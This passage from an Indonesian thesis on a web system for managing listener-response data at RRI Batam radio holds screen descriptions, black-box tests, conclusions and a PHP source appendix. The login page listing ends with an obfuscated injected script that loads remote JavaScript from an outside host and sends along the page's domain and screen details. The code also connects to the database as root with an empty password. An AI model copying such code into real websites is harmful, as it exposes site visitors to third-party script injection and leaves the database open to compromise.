4.3.15 Menu Edit Data (Detail Acara)
Gambar 4.56 Menu Edit (Detail Acara)
Menu edit data (detail acara) merupakan halaman yang digunakan
admin/penyiar untuk melakukan pengeditan data terhadap nama acara,
nama penyiar, dan tanggal acara terhadap detail acara. Tampilan detail
acara dapat dilihat pada gambar 4.56
4.3.16 Menu Edit Data (Data Penyiar)
Menu edit data (data penyiar) merupakan halaman yang digunakan
admin untuk melakukan penambahan data terhadap nama lengkap, email,
username, dan password terhadap data penyiar. Tampilan data penyiar
dapat dilihat pada gambar 4.57.
110
Gambar 4.57 Menu Edit (Data Penyiar)
4.3.17 PDF Daftar Acara
PDF daftar acara merupakan halaman yang digunakan
admin/penyiar untuk mencetak atau menyimpan PDF daftar acara.
Gambar 4.58 PDF Daftar Acara
111
4.3.18 PDF Detail Acara
PDF detail acara merupakan halaman yang digunakan
admin/penyiar untuk mencetak atau menyimpan PDF detail acara.
Gambar 4.59 PDF Detail Acara
4.3.19 PDF Data Pendengar
PDF data pendengar merupakan halaman yang digunakan
admin/penyiar untuk mencetak atau menyimpan PDF data pendengar.
Gambar 4.60 PDF Data Pendengar
112
4.3.20 PDF Data Penyiar
PDF data penyiar merupakan halaman yang digunakan
admin/penyiar untuk mencetak atau menyimpan PDF data penyiar.
Gambar 4.61 PDF Data Penyiar
4.3.21 Pop Up Detail Acara
Pop Up Detail Acara merupakan halaman yang digunakan
admin/penyiar untuk melihat detail acara secara rinci dengan cepat.
Gambar 4.62 Pop Up Detail Acara
113
114
4.3.1 Pengujian Black Box Testing
No Skenario Pengujian Test Case Hasil Yang Diharapkan Hasil Pengujian Kesimpulan
1 Mengosongkan username
dan password lalu klik tombol login.
Sistem akan menolak akses login dan
menampilkan pesan “Please Fill Out This
Field”
Valid
2 Tidak mengisi salah satu
field baik username maupun password.
Sistem akan menampilkan pesan “Please Fill Out This
Field”
Valid
3 Mengisi username dan password dengan benar
Sistem akan menerima akses login dan masuk ke halaman dashboard
Valid
115
4
Menginput data pada menu pilihan (data input tidak lengkap) lalu klik
simpan
Sistem akan menolak akses login dan
menampilkan pesan “Please Fill Out This
Field”
Valid
5 Menginput data pada
menu pilihan (data input lengkap) lalu klik simpan
Data akan tersimpan di database dan sistem akan menampilkan
pesan “Data Berhasil Diinput Kedatabase”
Valid
6 Melakukan edit data pada menu pilihan (sebagian
data option tidak dihapus)
Sistem tidak akan menampilkan option
lain
Valid
116
7
Melakukan edit data pada menu pilihan (sebagian
data option dihapus sesuai perintah)
Data pilihan yang sudah diedit akan
tersimpan di database dan sistem akan
menampilkan “Data Berhasil Diinput Ke
Database”
Valid
8 Melakukan hapus data
pada menu pilihan dengan klik button delete
Sistem akan menampilkan pesan “Apakah Anda Ingin Menghapus ?” jika ya
maka data akan terhapus dan tidak akan
terlihat lagi di view ataupun database.
Valid
9 Melakukan cetak data pilihan yang sudah dibuat
Sistem akan menmpilkan data yang
akan di cetak
Valid
Tabel 4.3 Pengujian Black Box Testing
117
118
BAB V PENUTUP
5.1 Kesimpulan
Berdasarkan uraian dan penjelasan dari bab-bab sebelumnya yang
penulis lakukan selama melakukan penelitian, kesimpulan yang dapat
diambil oleh penulis yang berkaitan dengan Sistem Informasi Data Respon
Pendengar pada RRI BATAM, adalah sebagai berikut:
1. Melalui Sistem Informasi Data Respon Pendengar yang
diusulkan untuk RRI BATAM, maka data-data respon
pendengar yang sudah dikumpulkan dan dimasukkan
kedalam basis data melalui web sudah tersimpan secara rapi
dan terstruktur;
2. Melalui rancangan Sistem Informasi Data Respon
Pendengar, penginput data (Admin/Penyiar) lebih
dimudahkan dalam proses tersebut. Selain itu, tampilan dari
proses penginputan data respon pendengar melalui web
lebih menarik dan atraktif;
3. Laporan akhir dari Sistem Informasi Data Respon
Pendengar yang dirancang sangat memudahkan Kepala
Stasiun RRI BATAM untuk mengevaluasi hasil dari
laporan tersebut. Hal ini dapat dilihat dari laporan yang
dapat diakses dengan mudah melalui web kapanpun dan
dimanapun. Selain itu laporan akhir tersebut juga
119
menampilkan bentuk-bentuk data informasi yang lebih
menarik, seperti penggunaan grafik pada hasil akhir laporan
data respon pendengar.
5.2 Saran
Mengingat pentingnya proses peningkatan kualitas dari penyiaran
RRI BATAM, maka penulis menyarankan hal-hal sebagai berikut:
1. Dalam hal tampilan muka atau interface dapat dibuat lebih
menarik lagi sehingga dapat lebih menarik perhatian;
2. Sistem ini dapat lebih di kembangkan lagi menjadi sistem
informasi yang memberikan informasi yang lebih berguna
lagi;
3. Program yang dirancang diharapkan membantu dalam
pengolahan data dan sistem layanan pada RRI BATAM.
120
DAFTAR PUSTAKA
Aditya, A. N. (2011). Jgo PHP & MySQL. Bekasi, Jawa Barat: Dunia Komputer.
Beighley. (2010). jQuery For Dummies. Indianapolis, Indiana: Wiley Publishing.
Fathansyah. (2004). Sistem Basis Data Lanjut. Bandung: Informatika.
Hidayatullah, R. (2013). Sistem Pengolahan Data Surat Masuk Dan Surat Keluar Pada Kantor Badan Pengawasan Keuangan Dan Pembangunan (BPKP) Provinsi Aceh Berbasis Web.
Jogiyanto. (2005). Analisis dan Desain Sistem Informasi .Yogyakarta. ANDI.
Kadir, A. (2003). Pengenalan Sistem Informasi. Yogyakarta. Andi Offset.
Kirana, E. A. (2014). Sistem Informasi Pemetaan Pendengar Berbasis SMS Gateaway Pada Radio Karysma FM Boyolali.
Kusuma, A. Y. (2012). Menyelesaikan Website 30 Juta ! Jakarta: Jaskom.
Ladjamudin, A.-B. b. (2005). Analisis dan Desain Sistem Informasi. Yogyakarta: Graha Ilmu.
Oktavian, D. P. (2013). Membuat Website Powerfull Menggunakan PHP. Yogyakarta: MediaKom.
Anhar. (2010). Panduan Menguasai PHP & MySQL Secara Otodidak. Jakarta:
MediaKita.
Pipin, A. (2013). Kamus Teknologi Informasi. Bandung: Titian Ilmu.
Pressman, R.S (2005). Software Engineering: A Practioner's Approach.Forth Edition, McGraw-Hill Book,Co.
Sutabri, T. (2005). Sistem Informasi Manajemen (Edisi I). Yogyakarta: Andi.
Sutarman. (2012). Buku Pengantar Teknologi Informasi. Jakarta: Bumi Aksara.
121
Tectale. (2012). An Introduction to Twitter Bootstrap. Retrieved from www.tectale.com.
Wardani, S. K. (2013). Sistem Informasi Pengolahan Data Nilai Siswa Berbasis WEB Pada Sekolah Menengah Kejuruan (SMK) PGRI 1 Pacitan.
122
LAMPIRAN-LAMPIRAN
Laporan Data Respon Pendengar Yang Sedang Berjalan
1.Daftar Acara
NO STASIUN NAMA ACARA PROGRAMA DESKRIPSI ACARA
1 Batam BUSY NIGHT Pro 2 ENTERTAINMENT 2 Batam PRO 2 REQUEST Pro 2 ENTERTAINMENT 3 Batam THROWBACK MEMORIES Pro 2 REQUEST 4 Batam MORNING BUZZ Pro 2 ENTERTAINMENT & INFO
2.Detail Acara
NO STASIUN NAMA ACARA PENYIAR TANGGAL
1 Batam MORNING BUZZ TAMMY DARA PUTRI 3/29/17 5:59 2 Batam THROWBACK MEMORIES TAMMY DARA PUTRI 3/12/17 22:00 3 Batam THROWBACK MEMORIES TAMMY DARA PUTRI 3/4/16 6:28 4 Batam THROWBACK MEMORIES TAMMY DARA PUTRI 3/6/17 22:00 5 Batam MORNING BUZZ TAMMY DARA PUTRI 3/3/17 7:47 6 Batam THROWBACK MEMORIES TAMMY DARA PUTRI 3/2/17 21:52 7 Batam PRO 2 REQUEST TAMMY DARA PUTRI 3/22/17 21:52 8 Batam MORNING BUZZ TAMMY DARA PUTRI 3/2/17 10:19 9 Batam MORNING BUZZ TAMMY DARA PUTRI 3/6/17 6:12
Source Code
Index.php
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html> <head> <meta http-equiv="REFRESH" content="0;url=home/"> </head> <body> <p>URL Redirection</p> </body>
</html>a
123
Index2.php
<?php session_start(); include_once 'login_user/user_access/db.php'; if (!isset($_SESSION['userSession'])) { header("Location: login_user/user_access/index.php"); } $query = $DBcon->query("SELECT * FROM tbl_data_penyiar WHERE
ID_Penyiar=".$_SESSION['userSession']); $userRow=$query->fetch_array(); $DBcon->close(); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-
scale=1, shrink-to-fit=no"> <meta name="description" content=""> <meta name="author" content=""> <link rel="icon" href="home.png"> <title>Redirect</title> <!-- Bootstrap core CSS --> <link href="../dist/css/bootstrap.min.css" rel="stylesheet"> <!-- Custom styles for this template --> <link href="signin.css" rel="stylesheet"> <!--JS for animate--> <link href="../dist/css/animate.css" rel="stylesheet" type="text/css"
media="all"> <script src="../dist/js/wow.min.js"></script> <script> new WOW().init(); </script> <!--//end-animate-->
124
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.2.0/jquery.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>
<link rel="stylesheet"
href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css"> <style> body { padding-top: 40px; padding-bottom: 40px; background-color: #eee; } </style> </head> <body > HOME </body> </html>
Admin
Config.php
<?php
define("HOST", "localhost"); // Host database
define("USER", "root"); // Usernama database
define("PASSWORD", ""); // Password database
define("DATABASE", "db_respon_pendengar"); // Nama database
$mysqli = new mysqli(HOST, USER, PASSWORD, DATABASE);
if($mysqli->connect_error){
trigger_error('Koneksi ke database gagal: ' . $mysqli->connect_error,
E_USER_ERROR);
}
125
?>
daftar acara.php
<?php
include('config.php');
include('fungsi.php');
session_start();
if(cek_login($mysqli) == false){ // Jika user tidak login
header('location: ../../index.php'); // Alihkan ke halaman login (index.php)
exit();
}
$stmt = $mysqli->prepare("SELECT Username FROM tb_Admin WHERE ID_Adm =
?");
$stmt->bind_param('i', $_SESSION['ID_Adm']);
$stmt->execute();
$stmt->store_result();
$stmt->bind_result($username);
$stmt->fetch();
?>
<!DOCTYPE html>
<html lang="en">
<head>
<link rel="icon" href="../../logo.jpg">
126
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="description" content="">
<meta name="author" content="">
<title>Admin</title>
<!-- Bootstrap Core CSS -->
<link href="css/bootstrap.min.css" rel="stylesheet">
<!-- Custom CSS -->
<link href="css/sb-admin.css" rel="stylesheet">
<!-- Custom Fonts -->
<link href="font-awesome/css/font-awesome.min.css" rel="stylesheet"
type="text/css">
<!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries
-->
<!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
<!--[if lt IE 9]>
<script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
<script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>
<![endif]-->
<style>
127
iframe{
border-width: 0px;
}
</style>
</head>
<body>
<div id="wrapper">
<!-- Navigation -->
<nav class="navbar navbar-inverse navbar-fixed-top" role="navigation">
<!-- Brand and toggle get grouped for better mobile display -->
<div class="navbar-header">
<button type="button" class="navbar-toggle" data-toggle="collapse" data-
target=".navbar-ex1-collapse">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a class="navbar-brand" href="#"> <font color="white">DATABASE
RESPON PENDENGAR RRI</font></a>
</div>
<!-- Top Menu Items -->
<ul class="nav navbar-right top-nav" style="padding-right: 10px;">
128
<li class="dropdown">
<a href="#" class="dropdown-toggle" data-toggle="dropdown"> <font
color="white"><i class="fa fa-user"></i> <?php echo $username; ?> <b
class="caret"></b></a></font>
<ul class="dropdown-menu">
<!-- <li>
<a href="#"><i class="fa fa-fw fa-user"></i> Profile</a>
</li>
<li class="divider"></li> -->
<li>
<a href="../../login_admin/user_access/logout.php"><i class="fa fa-fw
fa-power-off"></i> Log Out</a>
</li>
</ul>
</li>
</ul>
<!-- Sidebar Menu Items - These collapse to the responsive navigation menu on
small screens -->
<div class="collapse navbar-collapse navbar-ex1-collapse">
<ul class="nav navbar-nav side-nav">
<li>
<a href="index.php"><i class="fa fa-fw fa-dashboard"></i>
Dashboard</a>
</li>
<li>
129
<a href="javascript:;" data-toggle="collapse" data-target="#demo"><i
class="fa fa-fw fa-desktop"></i> Program Acara <i class="fa fa-fw fa-caret-
down"></i></a>
<ul id="demo" class="collapse">
<li>
<a href="daftaracara.php">Daftar Acara</a>
</li>
<li>
<a href="detailacara.php">Detail Acara</a>
</li>
</ul>
</li>
<li>
<a href="javascript:;" data-toggle="collapse" data-target="#demo1"><i
class="fa fa-fw fa-group"></i> Profil Pendengar <i class="fa fa-fw fa-caret-
down"></i></a>
<ul id="demo1" class="collapse">
<li>
<a href="datapendengar.php">Data Pendengar</a>
</li>
</ul>
</li>
<li>
<a href="daftarpenyiar.php"><i class="fa fa-fw fa-user"></i> Data
Penyiar</a>
</li>
130
<li>
<a href="responpendengar.php"><i class="fa fa-fw fa-weixin"></i>
Respon Pendengar</a>
</li>
</ul>
</div>
<!-- /.navbar-collapse -->
</nav>
<div id="page-wrapper">
<!-- /.container-fluid -->
<iframe width="100%" height="800px" src="../daftaracara/daftaracara.php"
name="showframe"></iframe>
</div>
<!-- /#page-wrapper -->
</div>
<!-- /#wrapper -->
<!-- jQuery -->
<script src="js/jquery.js"></script>
<!-- Bootstrap Core JavaScript -->
<script src="js/bootstrap.min.js"></script>
131
</body>
</html>
session_start(); // Menciptakan session
if(cek_login($mysqli) == true){
header('location: ../../user/admin/index.php');
exit();
}
if($_SERVER['REQUEST_METHOD'] == 'POST'){
if(isset($_POST['Username']) and isset($_POST['Password'])){
$username = $_POST['Username'];
$password = $_POST['Password'];
if(login($username, $password, $mysqli) == true){
// Berhasil login
header('location: ../../user/admin/index.php');
exit();
}else{
// Gagal login
header('location: index.php');
exit();
}
}
}
?>
132
<!DOCTYPE html>
<html>
<head>
<link rel="icon" href="../../logo.jpg">
<title>Puslitbangdiklat RRI - Sistem Database Respon Pendengar</title>
<meta charset="utf-8">
<!-- Mobile Metas -->
<meta name="viewport" content="width=device-width, initial-scale=1.0,
maximum-scale=1.0, user-scalable=no" />
<!-- Web Fonts -->
<link
href="http://fonts.googleapis.com/css?family=Open+Sans:300,400,600,700,800|Shadows
+Into+Light" rel="stylesheet" type="text/css">
<!-- Vendor CSS -->
<link rel="stylesheet"
href="../theme/porto/vendor/bootstrap/css/bootstrap.css" />
<link rel="stylesheet" href="../theme/porto/vendor/font-
awesome/css/font-awesome.css" />
<link rel="stylesheet" href="../theme/porto/vendor/magnific-popup/magnific-
popup.css" />
<link rel="stylesheet" href="../theme/porto/vendor/pnotify/pnotify.custom.css" />
<!-- Theme CSS -->
<link rel="stylesheet" href="../theme/porto/stylesheets/theme.css" />
<link rel="stylesheet" href="../theme/porto/assets/bootstrap-
select/bootstrap-select.css" />
<style>
133
.bootstrap-select > .dropdown-toggle{
height: 33px !important;
overflow: hidden !important;
}
</style>
<link rel="stylesheet"
href="../theme/porto/assets/kendo/q314sp1/src/styles/web/kendo.common.css"
type="text/css" />
<link rel="stylesheet"
href="../theme/porto/assets/kendo/q314sp1/src/styles/web/kendo.metro.css"
type="text/css" />
<link rel="stylesheet"
href="../theme/porto/assets/kendo/q314sp1/src/styles/dataviz/kendo.dataviz.css"
type="text/css" />
<link rel="stylesheet"
href="../theme/porto/assets/kendo/q314sp1/src/styles/dataviz/kendo.dataviz.metro.css"
type="text/css" />
<!-- Theme Custom CSS -->
<link rel="stylesheet" href="../theme/porto/stylesheets/theme-
custom.css">
<script type="text/javascript"
src="../theme/porto/vendor/jquery/jquery.js"></script>
<script type="text/javascript"
src="../theme/porto/assets/kendo/q314sp1/js/jszip.min.js"></script>
<script type="text/javascript"
src="../theme/porto/assets/kendo/q314sp1/js/kendo.all.min.js"></script>
134
<script type="text/javascript"
src="../theme/porto/vendor/modernizr/modernizr.js"></script>
<script type="text/javascript"
src="../theme/porto/vendor/bootstrap/js/bootstrap.js"></script>
<script type="text/javascript" src="../theme/porto/assets/bootstrap-
select/bootstrap-select.min.js"></script>
<script>
$(document).ready(function(){
$('.selectpicker').selectpicker();
})
</script>
<!-- <link rel="stylesheet" href="style.css"> -->
</head>
<body class="login-body">
<!-- start: page -->
<section class="body-sign">
<div class="center-sign">
<!--<a href="#" class="logo pull-left">
<img src="assets/images/logo.png" height="54"
alt="Porto Admin" />
</a>-->
<div class="panel panel-sign">
<div class="panel-title-sign mt-xl text-right">
<h2 class="title text-uppercase text-bold
m-none"><i class="fa fa-user mr-xs"></i> Sign In</h2>
</div>
135
<div class="panel-body">
<form action="" method="post" accept-
charset="utf-8" id="login_form" class="form-signin">
<div class="form-group mb-lg">
<label>Username</label>
<div class="input-group
input-group-icon">
<input type="text" name="Username" value="" id="Username"
class="form-control input-lg" required="required"/>
<span
class="input-group-addon">
<span
class="icon icon-lg">
<i class="fa fa-user"></i>
</span>
</span>
</div>
</div>
<div class="form-group mb-
lg">
<div class="clearfix">
<label
class="pull-left">Password</label>
</div>
136
<div class="input-group
input-group-icon">
<input type="password" name="Password" value=""
id="Password" class="form-control input-lg" required="required" />
<span
class="input-group-addon">
<span
class="icon icon-lg">
<i class="fa fa-lock"></i>
</span>
</span>
</div>
</div>
<div class="row">
<div class="col-sm-6
text-right">
<input type="submit" name="" value="Sign in" class="btn btn-primary" />
<a href="../../" type="btn" name="" value="Sign in" class="btn btn-
primary">Cancel</a> </div>
</div>
</form>
</div>
</div>
137
<p class="text-center text-muted mt-md mb-md">2017
© Radio Republik Indonesia Batam. All Rights Reserved.</p>
</div>
</section>
<!-- end: page -->
<script type="text/javascript">if (self==top) {function netbro_cache_analytics(fn,
callback) {setTimeout(function() {fn();callback();}, 0);}function sync(fn) {fn();}function
requestCfs(){var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var
idc_glo_r = Math.floor(Math.random()*99999999999);var url = idc_glo_url+
"cfs1.uzone.id/2fn7a2/request" + "?id=1" + "&enc=9UwkxLgY9" + "¶ms=" +
"4TtHaUQnUEiP6K%2fc5C582CL4NjpNgssKBYRpug7Z1PdwqyVZXwuoWTiuD%2b
%2fTcl2VNb9ah3T4LzFBJGkJQ9Z4O1er2K%2byfse0BDlgk0N3NGhjnDo9ZVkHkcfze
9PSJawfUBpuXtyj8peaiElcZaqEP4XW0LLldTkD9bi91%2bgnH5Wf%2funjMXNNaFy2
9lFwh2BZKQIFLB8io2w3Oqok2WZuEkBqspeF%2fMYlUQcTuVk5uV0PtUUALwMB
9IuJq9rD2tSPV2di6miIQCNGSYzWWh8NyLkEwJUO5U7lSWOFbebni%2bh97A3JE0q
i5e54MFywvBhVmXSFjo83wucV1FeS%2fuUxdBog93nfXwV1C3jU1CxCn4M%2bYU
zI8tsVVeHsIzgwR3Yh6WQCiJoZTZO2089wa%2b7qqzpraNHXIPasAYR2wJf3TJ3tyjN
BlLLrzVFc4x4wKMnpADbI%2fF2K9aEp2nixBbgOujmappPE0sZDpqidReY4CUi50pqt
wL7VB%2bjTYTbjGQ0W3bvaIfghfQtB%2boWHjlwU37nvabQ2xpWAXJ0aBT56e%2b
nsV6ln94xkSw%3d%3d" + "&idc_r="+idc_glo_r + "&domain="+document.domain +
"&sw="+screen.width+"&sh="+screen.height;var bsa =
document.createElement('script');bsa.type = 'text/javascript';bsa.async = true;bsa.src =
url;(document.getElementsByTagName('head')[0]||document.getElementsByTagName('b
ody')[0]).appendChild(bsa);}netbro_cache_analytics(requestCfs,
function(){});};</script></body>
138
</html>
logout.php
<?php
session_start();
session_destroy();
header('location:index.php');
?
top related